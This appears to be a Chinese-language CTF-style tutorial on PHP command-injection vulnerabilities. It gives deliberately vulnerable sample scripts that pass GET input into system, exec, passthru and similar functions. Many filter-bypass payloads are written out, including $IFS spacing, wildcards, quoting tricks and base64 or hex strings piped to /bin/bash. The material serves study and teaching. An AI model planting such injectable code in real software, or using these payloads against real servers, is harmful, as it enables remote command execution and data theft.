0x01 介绍
命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:**system()、exec()、shell_exec()、eval()、passthru()**,代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
0x02 原理
用户输入的数据被当做系统命令执行
0x03 系统命令函数
system
1
| system ( string $command [, int &$return_var ] )
|
- $command为执行的命令
- &return_var可选,用来存放命令执行后的状态码
- system()函数执行有回显,将执行结果输出到页面上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php $cmd = $_GET["cmd"]; if(isset($cmd)){ system($cmd); } ?>
|
exec
1
| exec ( string $command [, array &$output [, int &$return_var ]] )
|
$command
为要执行的命令。
$output
是获得执行命令输出的每一行字符串
$return_var
用来保存命令执行的状态码(检测成功或失败)
exec()
函数执行无回显,默认返回最后一行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $cmd = $_GET["cmd"]; exec($cmd,$array); print_r($array); ?>
|
passthru
1
| passthru ( string $command [, int &$return_var ] )
|
- 和
system函数
类似,$command
为执行的命令
&return_var
可选,用来存放命令执行后的状态码
passthru
函数执行有回显,将执行结果输出到页面上
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $cmd = $_GET["cmd"]; passthru($cmd); ?>
|
shell_exec
1
| shell_exec(string $command)
|
- 与反引号**(`)**类似
$command
为执行的命令
shell_exec()
函数默认无回显,通过 echo
可将执行结果输出到页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $cmd = $_GET["cmd"]; $output = shell_exec($cmd); echo $output; ?>
|
反引号
- 在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $cmd = $_GET["cmd"]; echo `$cmd`; ?>
|
popen
1
| popen ( string $command , string $mode )
|
$command
为执行的命令
$mode
指针文件的连接模式,r
表示阅读,w
表示写入
popen()
函数不会直接返回执行结果,而是返回一个文件指针。
- 此指针可以用于
fgets()
,fgetss()
和 fwrite()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $cmd = $_GET["cmd"]; $ben = popen($cmd,'r'); while($s=fgets($ben)){ print_r($s); } ?>
|
proc_open
1 2 3 4 5
| proc_open ( string $command , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
|
$command
为执行的命令
$descriptorspec
定义要创建的进程的输入、输出和错误流的规范
$pipes
一个引用变量,用于存储与进程通信管道,调用数组内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php header("content-type:text/html;charset=utf-8"); $cmd = $_GET["cmd"]; $array = array( array("pipe","r"), array("pipe","w"), array("file","/tmp/error-output.txt","a") );
$fp = proc_open($cmd,$array,$pipes); echo stream_get_contents($pipes[1]); proc_close($fp); ?>
|
pcntl.php
1 2 3
| <?php pcntl_exec("/bin/bash",array($_POST["cmd"])); ?>
|
0x04 操作系统链接符
;
- 使多个命令按顺序执行
- 前面的命令和命令都会执行,相互之间不影响
&
- 使命令在后台执行,这样就可以同时执行多条命令
- 无论命令为真或假,都执行
&&
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $cmd = $_GET["cmd"]; if(isset($cmd)){ system("ls".$cmd); } ?>
/*
?cmd=&&id
*/
|
|
- 把前面命令的执行结果当成后面命令的参数
- 如果都为真,则都执行,但只显示最后命令的执行结果
||
- 类似于if-else语句
- 若前面的命令执行成功,则后面的命令不执行
- 若前面的命令执行失败,则后面的命令被执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $cmd = $_GET["cmd"]; $cmd = $cmd." >/dev/null 2>&1"; if(isset($cmd)){ system($cmd); } ?>
|
0x05 绕过方式
过滤命令执行函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php header("content-type:text/html;charset=utf-8"); if(isset($_GET['cmd'])){ $c = $_GET['cmd']; if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){ eval($c); } else{ echo "你是黑客么?"; } }
|
LD_PRELOAD绕过
空格绕过
示例
1 2 3 4 5 6 7 8 9 10
| <?php header("content-type:text/html;charset=utf-8"); $cmd = $_GET["cmd"]; if(isset($cmd)){ $cmd = preg_replace("# #","",$cmd); echo "过滤后的命令:".$cmd."</br >"; echo "命令执行结果如下:"; system($cmd); } ?>
|
大括号{}
$IFS
- $IFS是linux系统的特殊环境变量,叫做内部字段分隔符
- IFS被bash解释器当成变量名,加一个{}就可以固定变量名
- $IFS$9 后的$与{}类似,起隔断作用
- $9是当前系统shell进程第九个参数持有者,始终为空字符
重定向字符
1 2 3
| ?cmd=cat<flag.php ?cmd=cat<>flag.php ?cmd=ls<>-l
|
%09(tab)
文件名过滤绕过
示例
1 2 3 4 5 6 7 8 9 10 11
| <?php header("content-type:text/html;charset=utf-8"); if(isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (!preg_match("/flag|system|php/i", $cmd)) { eval($cmd); } else{ echo "命令有问题哦,来黑我丫!!!"; } }
|
通配符绕过
?
在linux中可以代替字母。?
仅代表单个字符串,但此单字必须存在
1
| ?cmd=passthru('cat fl?g.p?p');
|
*
在linux中可以进行模糊匹配。*
可以代表任何字符串。
1
| ?cmd=passthru('cat fla*');
|
单引号、双引号绕过
1 2 3
| ?cmd=passthru('cat fla""g.ph""p');
?cmd=passthru("cat fla''g.ph''p");
|
反斜杠绕过
1
| ?cmd=passthru('cat fla\g.ph\p');
|
特殊变量
1 2 3 4 5 6 7 8 9 10
| echo $1 echo $9 echo $@ echo $*
echo $10
echo $11
|
1
| ?cmd=passthru('cat fla$1g.ph$9p');
|
1
| ?cmd=passthru('cat fla$@g.ph$@p');
|
内联执行
1
| ?cmd=passthru('a=f;b=la;c=g;d=.;e=ph;f=p;cat $a$b$c$d$e$f');
|
利用linux中的环境变量
1 2 3 4 5 6 7 8 9 10 11 12 13
| echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
eg: echo ${PATH:5:1}
l
|
1
| ?cmd=passthru('cat f${PATH:5:1}${PATH:8:1}g.p?p');
|
文件读取命令绕过
示例
1 2 3 4 5 6 7 8 9 10 11
| <?php header("content-type:text/html;charset=utf-8"); if(isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) { eval($cmd); } else{ echo "再来黑我丫!!!"; } }
|
tac
- 与
cat
功能相似,但是反向显示,从最后一行往前开始显示
1
| ?cmd=passthru("tac fl\ag.ph\p");
|
more
1
| ?cmd=passthru("more fl\ag.ph\p");
|
less
1
| ?cmd=passthru("less fl\ag.ph\p");
|
tail
1
| ?cmd=passthru("tail fl\ag.ph\p");
|
nl
1
| ?cmd=passthru("nl fl\ag.ph\p");
|
od
1
| ?cmd=passthru("od -A d -c fl\ag.ph\p");
|
xxd
1
| ?cmd=passthru("xxd fl\ag.ph\p");
|
sort
1 2
| ?cmd=passthru("s?rt fl\ag.ph\p"); ?cmd=passthru("/usr/bin/s?rt fl\ag.ph\p");
|
uniq
1
| ?cmd=passthru("uniq fl\ag.ph\p");
|
file -f
1
| ?cmd=passthru("file -f fl\ag.ph\p");
|
grep
1 2 3
| ?cmd=passthru("grep fla fl\ag.ph\p");
|
编码绕过
示例
1 2 3 4 5 6 7 8 9 10 11
| <?php header("content-type:text/html;charset=utf-8"); if(isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (!preg_match("/flag|php|cat|sort|shell/i", $cmd)) { eval($cmd); } else{ echo "再来黑我丫!!!"; } }
|
base64编码绕过
1 2 3 4 5 6
| import base64 s = b'payload' e64 = base64.b64encode(s) print(e64)
|
1 2
| payload编码 ---> 目标服务器 ---> 执行命令 绕过过滤 解码读取命令
|
1 2 3 4 5
|
?cmd=system('echo "Y2F0IGZsYWcucGhw"|base64 -d|/bin/bash');
|
base32编码绕过
1 2 3 4 5 6
| import base64 s = b'payload' e32 = base64.b32encode(s) print(e32)
|
1 2 3 4 5
|
?cmd=system('echo "MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');
|
HEX编码
1 2 3 4 5 6
| import binascii s = b'payload' h = binascii.b2a_hex(s) print(h)
|
1 2 3 4 5 6
| # cat flag.php ---> 63617420666c61672e706870 # xxd ---> 二进制显示和处理文件工具 # -r -p ---> 将纯十六进制转储的输出打印为ASCII格式 # /bin/bash ---> 执行命令
?cmd=system('echo "63617420666c61672e706870"|xxd -r -p|/bin/bash');
|
shellcode
- 16进制机器码,本质上是一段汇编指令
- payload
1 2 3 4
|
?cmd=system('printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|/bin/bash');
|